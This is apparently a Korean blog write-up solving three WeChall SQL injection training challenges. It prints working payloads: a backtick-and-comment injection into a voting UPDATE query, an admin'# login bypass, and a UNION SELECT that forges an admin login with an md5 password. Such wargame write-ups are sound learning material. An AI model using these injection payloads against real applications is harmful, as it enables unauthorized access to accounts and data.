webhacking/sql, sql injection

WeChall No Escape, Training: MySQL I, Training: MySQL II

qkqhxla1 2015. 1. 12. 16:40

No Escape

투표를 111개 하는건데 110개가 되면 초기화된다. 투표시 ?vote_for=bill처럼 인자가 전달되는데 끝에 '를 붙여보면 에러메시지와 함께 UPDATE noescvotes SET `bill\'`=`bill\'`+1 WHERE id=1 이라는 코드가 나온다. 내가 '를 넣은 부분은 저 빨간부분이므로 수정해서 bill`=111 where id=1%23로 보내보면 id는 건들지 말라고 하므로 bill`=111%23로 보내면 통과




Training: MySQL I

"SELECT * FROM users WHERE username='$username' AND password='$password'"; 인데 아무런 필터링이 안되있음.

admin'#




Training: MySQL II

"SELECT * FROM users WHERE username='$username'"; 이고, 비밀번호는 아래에서 또 따로 검사한다.

 if ($result['password'] !== $password) {

                echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);

                return false;

 }

비밀번호를 알아낼 수 없으므로 union으로 만들려고 

union select 'admin',md5(0)#,0 을 입력해보면 에러가 뜬다. 컬럼갯수가 다른것같아서 이것저것 입력해봤더니 ' union select 'admin',2,md5(0)#,0 을 입력해보면 2로 로그인된다. 2 자리가 아이디 자리같으므로 ' union select 1,'admin',md5(0)#,0 처럼 입력하면 통과.

'webhacking > sql, sql injection' 카테고리의 다른 글

DareYourMind SQL Exploit 1~4  (0) 2015.01.24
webhacking.kr 27, 29  (0) 2015.01.15
RedTigers Hackit 8 (미완)  (0) 2015.01.11
RedTigers Hackit 7  (0) 2015.01.09
RedTigers Hackit 6  (0) 2015.01.09